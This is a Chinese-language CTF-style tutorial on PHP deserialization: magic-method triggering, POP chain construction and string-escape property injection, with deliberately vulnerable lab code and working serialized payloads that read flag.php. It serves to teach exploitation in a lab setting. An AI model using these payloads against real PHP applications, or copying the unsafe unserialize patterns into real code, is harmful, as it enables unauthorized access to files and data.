反序列化漏洞详解(二)
目录
pop链前置知识,魔术方法触发规则
pop构造链解释(开始烧脑了)
字符串逃逸基础 字符减少
字符串逃逸基础 字符增加
实例获取flag
字符串增多逃逸
字符串减少逃逸
延续反序列化漏洞(一)的内容
pop链前置知识,魔术方法触发规则
魔术方法触发前提:魔术方法所在类(或对象)被调用
类的反序列化的时候 只会触发当前类中的魔术方法 和其他类无关
很好理解 C类被反序列化后得到对象A 其值从序列化的字符串中得到 但是对象A如果触发魔术方法只能触发C类中的魔术方法 ,在这里也说一下,如果字符串中有某一类,反序列化后 系统会认为该对象属于这个类
<?php highlight_file(__FILE__); error_reporting(0); class fast { public $source; public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; } } class sec { var $benben; public function __tostring(){ echo "tostring is here!!";//这是目标 } } $b = $_GET['benben']; unserialize($b); ?>
目标:触发__tostring魔术方法
这题的很简单 如果想调用wakeup方法 必须反序列化fast类 并且满足wakeup魔术方法的触发条件 这样才能自动调用魔术方法,目标是触发tostring,让source是个对象 就能触发tostring,让source成为sec类的对象 并把对象当成字符串调用就能触发tostring
手工制作:pocO:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
修改源码生成序列化的字符串(poc)
构造poc后 代码执行顺序就是反序列化poc(可以理解为反序列化fast类的序列化的字符串)从而触发wakeup魔术方法 从而执行echo输出source 这是的source已经是sec对象了 echo以字符串形式输出source 就出发了sec类中的tostring魔术方法
注意 wakeup限制性 当执行到echo语句的时候 就将sec实例化成source这个对象了 从而达成了漏洞利用<?php highlight_file(__FILE__); error_reporting(0); class fast { public $source; } class sec { var $benben; } $a=new sec(); $b=new fast(); $b->source=$a; echo serialize($b); ?>
将poc进行传参 成功调用__tostring魔术方法
pop构造链解释(开始烧脑了)
说是烧脑 我感觉不难
pop链构造 poc编写
pop链:在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫"面向属性编程"即POP
POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据
大白话:通过修改序列化的字符串里的属性值从而使多个魔术方法多次跳转得到敏感数据(整个过程是POP链最终得到的是POC)
POC编写
在安全界可以理解成漏洞验证程序,POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码
例题
获取flag 提示flag在flag.php中
<?php //flag is in flag.php highlight_file(__FILE__); error_reporting(0); class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?>
构造pop链反推法:
1.需要找到include函数才能包含一个flag.php的文件 并发现下一条语句为输出flag 所在方法为append include参数通过appen方法传进来
2.找到调用append方法的魔术方法__invoke append参数的值通过当前类属性var中来 所以要将var值设为flag.php
3 看哪里调用了__invoke魔术方法 发现test类中的__get魔术方法会触发 设置p为__invoke所在类的对象
4 看哪里调用了__get魔术方法 show类中的__tostring魔术方法会触发 设置str为__get所在类的对象
5看哪里调用了__tostring魔术方法 在当前类的__wakeup会触发 将source设置成当前类的对象
6 看哪里触发了__wakeup 在GET传参后如果反序列化show类会触发__wakeup
得出pop链顺序
构造poc 就需要将顺序调过来
这种pop链的poc最好就不要用手工构造的方式 比较麻烦
手工构造
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
使用源代码构造
第一步
<?php class Modifier { private $var;//var是flag.php } class Show{ public $source;//自己类的对象 public $str;//test类对象 } class Test{ public $p;//Modifier对象 } $a ?>
第二步
<?php highlight_file(__FILE__); error_reporting(0); class Modifier { private $var="flag.php";//var是flag.php 私有属性只能在类里定义 } class Show{ public $source;//自己类的对象 public $str;//test类对象 } class Test{ public $p;//Modifier对象 } $a=new Modifier(); $b=new Show(); $c=new Test(); $b->source=$b; $b->str=$c; $c->p=$a; echo serialize($b); ?>
输出得到poc
到这里我出现问题了 我测试检查了一个小时 我的poc和老师一摸一样 但是 我测试发现代码执行到__get处没有出发invoke poc和老师的一摸一样 不知道什么原因 然后我把靶场php版本切换到7.0以上就好使了 哈哈
成功获取flag
字符串逃逸基础 字符减少
反序列化分隔符:反序列化以;}结束,后面的字符串不影响正常的反序列化
属性逃逸:一般再数据先经过一次serialize再经过unserialize,本来如果有两个属性 但是在其中一个属性的值中构造poc 再通过特定原因 这时反序列化就能出来三个属性
有四点反序列化的知识的基础
1 虽然反序列化的对象A的值从序列化的字符串中来,但是如果字符串中有v1 v2 属性 类A里面还有一个只有v3属性 反序列化的时候系统会认为这就是类A的对象 字符串已经定义了v1v2 系统发现没有v3呢? 然后就加上去了 切记无论类里面定没定义属性值 只要是字符串定义了值 对象A的值都是从字符串中定义的值来 字符串要是没定义 那就从原有类中得来
举个例子O:4:"Show":2:{s:6:"source";r:1;}
2 这2个属性必须要和字符串的属性数目对应
3 这6个字符串长度 必须也要和属性名长度对应
4 a\"b字符串长度就是3 通过s:3来确定的 所以必须要和属性名或值的长度对应 要不然不知道这个双引号是字符还是 功能符
以上就算是前置知识了
属性逃逸刚刚原理说的比较含糊 直接上例题
<?php highlight_file(__FILE__); error_reporting(0); class A{ public $v1 = "abcsystem()system()system()"; public $v2 = '123456789'; public function __construct($arga,$argc){ $this->v1 = $arga; $this->v2 = $argc; } } $a = $_GET['v1']; $b = $_GET['v2']; $data = serialize(new A($a,$b)); $data = str_replace("system()","",$data); var_dump(unserialize($data)); ?>
以前都是直接传一个需要反序列化的参数 为了出发方法而达到我们想要的目的
但是字符串逃逸属于 明明类中有2个属性 我们如何构造成3个属性呢(这个时候 有人就想 直接修改字符串加上第三个属性得了呗 但是这道题没有修改字符串的条件 只让你传属性一和属性二的参数)
得出O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:9:"123456789";}
$data = str_replace("system()","",$data);//在这如果把system()去除 因为原有的长度是27 现在只剩下adc三个字符串了 前面也说了这个s:27这个长度要和值对应 所以他会继续往下走把后面的字符也当成这个v1的值标红的(这个时候会报错 因为反序列化往下执行后发现这个值末尾没有双引号呀)
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123456789";}
这个时候我们就要构造v2的属性的值(poc)
v2 = '1234567";s:2:"v3";s:3:"123";}'
这个时候正常序列化的值为 红色的为属性值
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}
去除了system()后
{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}
如果把v2的值去除最后的分号和花括号还有双引号也对
v2 = '1234567";s:2:"v3";s:3:"123'
{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:28:"1234567";s:2:"v3";s:3:"123";}";}
在反序列化的时候核查到有2(紫色标注的)个属性 所以他会自动向下执行这个时候就多出了一个v3的属性
这样反序列化就出现了3个属性
属性v1的值就是abc";s:2:"v2";s:28:"1234567
属性v2的值就是原有的123456789
属性v3的值就是123
该对象的值v1v3从字符串中获得 v2从类中获得
这个时候肯定有人想在序列化的时候不是以及给v2赋了一个新值嘛 为什么这里还是123456789
因为 序列化只是为了按照要求生成指定的字符串 的确生成了包含v2指定值的字符串 但是序列化结束后,类原有的样子是不变的,只有那个字符串里面有一个v2的属性 并且值为指定的
最终成功
反序列化字符串减少逃逸:多逃逸出一个成员属性
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
字符串逃逸基础 字符增加
反序列化字符串增多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
字符串逃逸基础
字符串增多
演示代码
<?php highlight_file(__FILE__); error_reporting(0); class A{ public $v1 = 'ls'; public $v2 = '123'; public function __construct($arga,$argc){ $this->v1 = $arga; $this->v2 = $argc; } } $a = $_GET['v1']; $b = $_GET['v2']; $data = serialize(new A($a,$b)); $data = str_replace("ls","pwd",$data); var_dump(unserialize($data));
他将ls换成了pwd
我们想让反序列化识别的字符串 ";s:2:"v3";s:3:"666";}一共22个位置
该代码中将ls替换为pwd 一个ls就能吐出一个位置来 需要22个ls才可以
构造v1参数的值为 lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}
正常情况
替换的情况
把ls替换成pwd后字符串就变成了88 pwd占了66个位置 这个时候正好";s:3:"v3";s:3:"666";}逃逸出来
"用于包裹pwd的字符串 系统往下识别就识别出了v3属性 并且看到了;}就停止了反序列化 具体细节和减少逃逸一个道理没啥区别 不细说了
实例获取flag
字符串增多逃逸
<?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param=$_GET['param']; $param=serialize(new test($param));//test类进行实例化为param对象 并对类中的user赋值为获得的参数 // 序列化后值为 $param=O:4:"test":2:{s:4:"user";s:?:"";s:4:"pass";s:8:"daydream";} $profile=unserialize(filter($param)); //将对象传入filter函数 函数内容是如果对象中国存在flag或者php替换成hack(感觉没啥用呢) ,现在发现有用了 将php替换成hack 一个php就能多出一个位置来 //之后返回该对象并反序列化 在反序列化的过程中要把pass的值设置为escaping //这样一来我们就需要在序列化的字符串中参数user处构造poc //如果pass的值为escaping 那么序列化的样子就是 s:4:"pass";s:8:"escaping"; ->-> ";s:4:"pass";s:8:"escaping";} //O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} ........";s:4:"pass";s:8:"daydream";} //现在有116个字符串 将php换成hack后变成145个字符串 正好";s:4:"pass";s:8:"escaping";"}就逃逸出来了 if ($profile->pass=='escaping'){ echo file_get_contents("flag.php"); } ?>
传参后成功
字符串减少逃逸
<?php highlight_file(__FILE__); error_reporting(0); function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name);//匹配如果存在safe数组的值 替换成hk return $name; } class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } } $param=$_GET['user'];//传入两个参数 $pass=$_GET['pass']; $param=serialize(new test($param,$pass));//实例化test类并序列化赋值给param对象 在实例化的过程//中将传入的两个参数赋值给属性user和pass //";s:3:"vip";s:4"true";} //s:4:"user";s:?:"";s:4:"pass";s:xx:"(";s:3:"vip";s:4"true";})"; //use:flagflagflagflagflagflagflagflagflagphp //pass:";s:3:"vip";s:4"true";} $profile=unserialize(filter($param));//将字符串作为参数传给函数filter 将返回值反序列化 if ($profile->vip){ echo file_get_contents("flag.php"); } ?>
按照代码中的注释我去验证poc发现竟然后去不到flag 研究了很久很久
最后发现他在实例化的时候 把原有类中的vip也给实例化了这样实例化的字符串会有3个属性
O:4:"test":3:{...}
当时我以为传参user和pass只会实例化为两个属性 忘记了他会自动把类中的vip也进行实例化
就当成O:4:"test":2:{...} 构造完 发现没问题呀就是不出flag 给我气完了 真的这么简单我就然没想到 以后还得更加认真一点
正确的poc
?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}
成功